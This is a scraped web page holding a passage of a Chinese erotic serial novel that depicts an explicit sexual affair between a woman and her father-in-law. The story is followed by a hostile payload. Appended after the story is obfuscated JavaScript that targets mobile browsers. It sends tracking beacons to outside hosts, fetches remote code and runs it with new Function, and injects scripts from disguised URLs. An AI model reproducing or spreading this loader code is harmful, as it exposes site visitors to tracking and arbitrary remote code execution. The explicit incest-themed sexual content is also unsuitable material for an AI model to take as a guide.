失去了床单的遮挡,外面日光都有些晃眼。
许明怀捧着她的脸,挺着腰一下下操着她,观察着她堕落的表情,「舒服吗?
以后爸爸天天这么干你好不好?嗯?」
冯念真仍是忌惮被人看了去,嘟着唇泪汪汪央求他:「进去里面……」
许明怀亲了亲她故意装可怜而嘟起的嘴,却是恶意地拉开动作,整根拔出又
整根没入,令两人交合的动作更加大摇大摆。
「去里面呀……呜呜……不要……啊……」
许明怀眼神凶狠,握住她的小腿,动作像骤急的雨点,又重又快地抽插起来,
拍打在她股间,「啪啪啪啪啪」,清脆响亮。
念真挠着他的头发,双臂将他紧紧抱住,抖着身子先泄了一回。
许明怀没出来,就着插在她体内的姿势,抱着她往房间里走,一路走一路颠,
被她高潮来临的收缩吸得也忍不住全射在了她体内。
阳具拔出来,一股子浊液从她下体溢出,印在干净的床单上,淫靡不堪。
躺在床上,念真放松了下来,面对公公的爱抚亲吻,更多的是释放身心的享
受,也慢慢温柔回应。
许明怀结实沉重的身体覆压在她身上,啃吻着她的脸颊、嘴唇、耳朵,一路
向下,舔吸着锁骨,来到乳房停了停,而后张嘴含住那抹嫣红。
冯念真躺着被公公吸玩着乳房,感觉到乳头被男人舌尖挑逗,裹住含弄,一
股暖流从下体悄悄涌出。她不由自主夹紧了许明怀的腰,动情地抚摸他的后背,
微启着被他亲的火辣的红唇嘤咛。
许明怀重重吸着她的乳头往外扯,一下又弹了回去,奶子也荡了荡。
冯念真没想到公公都五十岁的人了,雄风重振得这么快,眼见着疲软的阴茎
又充血肿胀,一下下打着颤立在腿间,气势昂扬,有如利箭张弓待发。
这一次,许明怀要得很耐心,扛着她的腿深深浅浅地顶弄,有意无意地撞击
着她的敏感点,满身的汗在她身上挥洒,整张床都吱吱呀呀摇晃不休。
「好、好舒服……那里……再重一点……哈!」冯念真被公公颇有技巧的动
作操到有些神智不清,咿咿呀呀地主动求欢。
许明怀忍着射意,捞着她坐起来,又重又快地急速上顶,吸住她的嘴,舌头
堵住她娇娇的呻吟,公媳两人一起在床上有节奏地颠上颠下。
「呜呜呜啊……」
念真仰头闭着眼,被公公一波接一波地浇灌着精液到肚子里,整个人如同破
碎的娃娃瘫了下来。
这是她和许振扬的卧室,他们无数次在这张床上欢爱。现在还是在这里,她
却被他的父亲狠狠抽插操干,做到高潮迭起,失声喊叫。
冯念真知道,自己是彻彻底底堕落了。
晚上许振扬意外回来得很早,见阳台上晒着两套花色不同的床单,随口一问:
「怎么洗了两套床单?你闲得慌?」
冯念真有些心虚,背过身去假装忙碌,「今天天气好嘛,放在柜子里快发霉
了,我就拿出来晒晒。」
她当然不是闲得慌,后面洗的那床,是早上……被公公干到潮吹弄脏的。
(十)宾客
高尔夫球起源于苏格兰,二十世纪初才引入中国,由于推广不善,至今仍是
小众球类运动,同时也沦为商人们谈生意的手段。另外,高尔夫球运动的参与成
本与普通体育运动相比较高许多,因此也是国人眼里的贵族运动。
自从上回跟着许明怀看过他打球,念真便想一睹许振扬年轻时叱咤球场的风
采,于是一连好几天都在恶补网上找得到的比赛视频。
看得入神,都忘了下班时间,有要好的同事凑过来盯着她屏幕:「哇这什么
呀?念真,你还挺有闲情逸致的嘛,高尔夫这么无聊你都看得下去?」
「哦……随便看看啦。」
「哇,这个男人好帅啊,看起来很厉害的样子,哪国的?」同事指着屏幕上
正在用目光计量角度的男人问。
「中国的,中英混血,」念真自己都没发觉自己提及许明怀时语气里的骄傲:
「他是唯一一个拿过高尔夫赛事全满贯的亚洲人,不仅球打得厉害,退役后还做
了金牌教练,对了,我公公还入选过劳伦斯终身成就奖呢。」
「哦?功课做得很充分嘛。」同事显然对此兴趣缺缺,对她的话也是有一句
没一句听着,却在下一刻突然炸了:「什么?你公公?」
一句话也把办公室里的其他同事炸得纷纷抬起头朝这边看来。
「你小声点啦!」念真自知没管好自己的嘴,这位同事虽然热心肠性格好,
但同时也是个大嗓门,什么事只要经过她一嚷嚷,整个公司差不多都知道了。
「哇,那你们平时交流用中文还是英文啊?」
「中文啊,他从小在这边长大,只是后来读书才去的英国,中文很好的,」
她又加了句:「英文也很好。」还是纯正的牛津腔,最过分是和她在床上欢爱的
时候,明明是绅士的腔调,却总说着最下流的情话……
同事立马星星眼:「真真,好想去你家看看哦,长着一张外国人面孔却字正
腔圆说着中文的公公,一定看着很新鲜!」
念真迟疑片刻,说:「……可以啊,周五晚上叫几个同事一起来我家玩吧。」
她刚来不久,需要和同事打成一片,好融入到整个环境里,这是个好机会。
不过,说服不喜交际的许明怀那边,估计要费一番功夫。嗯……也不好说,
说不定很容易就搞定了。
对方显得很兴奋,「好啊,那我们不能叫太多人,不然影响邻居休息就不好
了。」
「没事的,我们家没有邻居。」
「别告诉我你家住在别……别墅?!」
念真想阻止她的尖叫,已经来不及了,大半个办公室的人都围了过来。
面对众人艳羡的询问,她尴尬不已,只好邀请大家周五晚上到她家做客,没
再透露更多。
那位同事抱歉地看着她,「对不起啊真真,你也知道我嗓门大……要不算了
吧,会不会打扰你家人啊?」念真强撑笑容:「没事啦,我公公人很好的。」那
是对自己……对别人就不好说了。
她多少也有些正常人的虚荣心,话都放出去了,怎么好再收回。至于公公那
边,不过是牺牲一下色相就能摆平的事,小意思啦。
晚上冯念真陪着许明怀在影音室里看老电影。他们家这个影音室在小复式的
二楼,装有超大高清电子屏幕、进口的投影设备和3D环绕音响设备。除此之外,
还可以自由选择观影场景,许明怀没有犹豫就选了水下世界,这令念真想起上次
两人在游泳池里的荒唐韵事,气氛顿时就不对味了起来。
屋子里冷气打得很足,丝丝凉意钻进她被迫解开的领子里。许明怀一脸平静
地盯着屏幕,一只手却来回摸着怀里她衣领大敞半露在外头的两颗圆润奶子,一
言不发。
念真有些架不住困意,缩在他怀里打瞌睡,中间不知道他问了一句什么,她
迷迷糊糊嗯了一声,抬起头来,突然被他压下来吻住。
缠绵深吻是许明怀一贯的风格,他的情欲一向来得快又猛。
念真承了一会他用力的亲吻,便恨恨地在心里骂他老色鬼。老色鬼接吻时又
是逼她吞咽又是深喉,就知道一个劲地揉她胸,刚才进来就剥了她内裤摸她,害
她下体一直暴露在空气里,凉飕飕的。
「唔……」两人好不容易分开让她喘口气,念真抚摸着男人的前胸,媚声媚
色:「周五晚上,我想请同事来我们家里玩,行不行?」她用上了不常使用的撒
娇伎俩。
「一个?」许明怀喘着粗气问。
「不是……好几个。」
男人沉默了会,搂紧她说:「你知道我不喜欢别人来打扰我们。」
念真双手由放在他胸前一路游移挂上他脖子,眨眨眼睛,继续扮妖,「就一
次,我保证。」
见他没反应,她又放柔身子,看着他,私处贴着他下身隆起的大包,暗示性
地蹭了蹭,故意可怜兮兮道:「我还以为爸爸最疼我了……」
许明怀抽空瞥了正在放映的电影,剧情已经演到他看不懂的地方,两个主人
公交耳低语,他把声音关小,在她耳边喷着气,说得很慢,语气也很重:「疼你,
爸爸这就疼你!」
「Poutyourbigbutt,I』mgoingtofuckyo
u。」(撅起你的大屁股让我干)
许明怀在她耳边缓缓说道,同时室内响起了金属拉链被拉开的声音。他说话
的时候下巴微微抬起,深邃的眸子一直看着她,样子很性感。
念真被他这句沉缓嘶哑的耳语羞红了脸,却还是从他身上下来,老老实实褪
下裙子,趴跪着把光溜溜的臀部翘得高高的,对着他。
「啊……」
「嗯……」
许明怀扶着分身顶开冯念真的阴穴寸寸深入,两人同时释放的呻吟,盖过了
电影里传出火车鸣笛的呜呜声。
许明怀已经趁着儿子不在家将冯念真里外吃了个彻底。他偏爱在家里各个角
落和他的儿媳妇做爱,阳台、餐厅、卧室、书房甚至车库,不同地点,总有不一
样的激情。
电影大概自知无人观赏,便也随着这场成人戏演至高潮之际,悄悄落下帷幕。
许明怀的别墅自带庭院,移去几盆花草将场地空出来,正好可以支起两三个
烧烤架,再从屋子里搬来移动折叠桌椅,啤酒饮料摆上桌,在周围绿植掩映下,
竟别有一番野趣。
天色还早,客人们还没来,许明怀看着冯念真像只忙碌的蝴蝶般穿来穿去,
嘴角却始终上扬着,他心情也很愉快,趁机将娇人捉住抱了一抱,「要是喜欢,
以后可以多带朋友回来玩。」
念真扬眉,嘴角含笑,眼睛亮闪闪的,「真的?你不嫌吵了?」
「只要你开心。」
她渐渐收敛了笑容,两颊染成了霞红,被他这么直白的目光望着,仍旧无所
适从,好想躲起来。和他对视一眼,心跳都变得飞快,却不知道自己眼波如勾,
把男人的心都钓走了。
明明最亲密的事都做过了,还是动不动就被他三言两语逗得脸红,念真在心
里暗骂自己忒没出息。
她背过身,躲了躲,声音小女儿般的娇:「总是对我这么好。」
语罢,又转头去看他一眼,好似故意。
一时之间两人都不再说话,清风拂过,霞光正好。
在一棵足足有一人高的迎客松后面,许明怀偷亲了她。
「别……」念真拿手背蹭了蹭脸颊被他亲过的地方,嫌他添乱,瞪他,娇嗔
了声:「讨厌。」
许明怀笑了笑,得寸进尺去找她的嘴唇,念真半迎半拒,手上有气无力地推
阻了两下无果,便也从了。踮脚回抱他,轻启牙关放他舌头进来,正要闭上眼回
应,余光就见院子的大门自动向两边分开,黑色奔驰露了个头,正是她的丈夫许
振扬回来了。
她急忙退得远远的,理了理衣服,默契地与男人对视一眼,心有余悸。
差一点就被抓个正着。
许振扬今天之所以下班这么早,还是因为中午妻子的一通电话。
彼时冯念真在电话里对他说:「今天晚上我有客人需要招待,你就算比天王
老子还要忙,也给我早点回来。」
许振扬诧异地看了看号码,确实是冯念真无误。印象里她一向柔柔弱弱,乖
巧懂事,从来没用这种命令的口气对自己说过话,怎么今天跟变了个人似的?莫
非是发现了自己在外面的那些事?
不多时,同事们也在约好的时间纷纷到达,念真和许振扬站在门口笑脸相迎。
「哇,念真你们家好大好漂亮!」
许振扬背地里虽然行为不端,表面上的功夫却毫不懈怠,这时便摆出风度翩
翩的男主人姿态,一一与念真的男同事们握手,与女同事们点头打招呼,「欢迎
你们来做客,进来里面坐。」
女同事们纷纷被许振扬帅到,内心羡慕得牙痒痒,同样在一个办公室干活,
人家嫁了个这么帅的老公,据说还是自己开公司的,家里还住别墅,真不知道这
种条件干嘛还出来抛头露面,安安心心做家庭主妇难道太爽?
见过许振扬的庐山真面目以及他家的豪宅,一两个本来对冯念真有点旖旎心
思的男同事也开始心虚了起来。
所幸在夫妻俩热情的招待下气氛还不错,几个男士也纷纷讲起绅士之礼,将
女人们按在椅子上玩扑克,自己在烧烤架前忙活起来。
正当这边进行得火热,通往别墅主楼的台阶上,一个长着欧洲人一般立体五
官、穿着深绿色保罗衫和深咖色休闲裤的男人走了下来。他看起来应该是上了年
纪,但身材和相貌都未走样严重,虽不苟言笑,浑身却散发着属于成熟老男人的
魅力。
冯念真笑着对大家介绍道:「这是我公公,也是高尔夫球世界冠军。」
所有人都小小鼓起了掌。
本在观赏院中花草的陈秋月也被这边的热闹吸引了,三两步走上前,见到这
位陌生的中年男人,竟是眼前一亮。
念真便对许明怀介绍道:「爸,这是我们的部门经理。」
许明怀依言目光分给她几秒。女人三四十来岁的样子,皮肤有些松弛,但还
不算苍老,气质优雅,着装不俗,从她的眼神中可以看出,这是一个阅历丰富的
女人。
许明怀礼貌性地对她伸出手:「你好。」
女人紧跟着也自报家门:「你好,我是陈秋月。」
一番客套来往过后,许明怀便将注意力转移到旁的事物上,陈秋月却是暗忖
着,又多看了他一眼。
「这两瓶酒,给大家助兴。」许明怀将两瓶葡萄酒递给冯念真,叫她拿去招
待客人。
「谢谢谢谢,叔叔太客气了!」
内行人一眼就认出这两瓶酒绝非普通货色,后来悄悄向大家伙赞叹许明怀的
大方,居然拿这么好的酒给他们喝。
冯念真无疑成了人群中的中心,一群人围着她又是感谢又是夸赞,都说她嫁
得好,老公又帅又能干,公公又帅又有钱,果然同人不同命。
念真的虚荣心得到了极大的满足,心情十分愉悦,一个转眼趁着没人注意,
隔着段距离偷摸冲许明怀努努嘴,空气里轻轻「啵」的一声,是美人送出一枚吻。
许明怀凝眸将她看了看,眼神很深,却仍端着肃冷的做派,和先前在藏酒室
褪下裤子后入她的急色模样,简直判若两人。

  
关闭
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();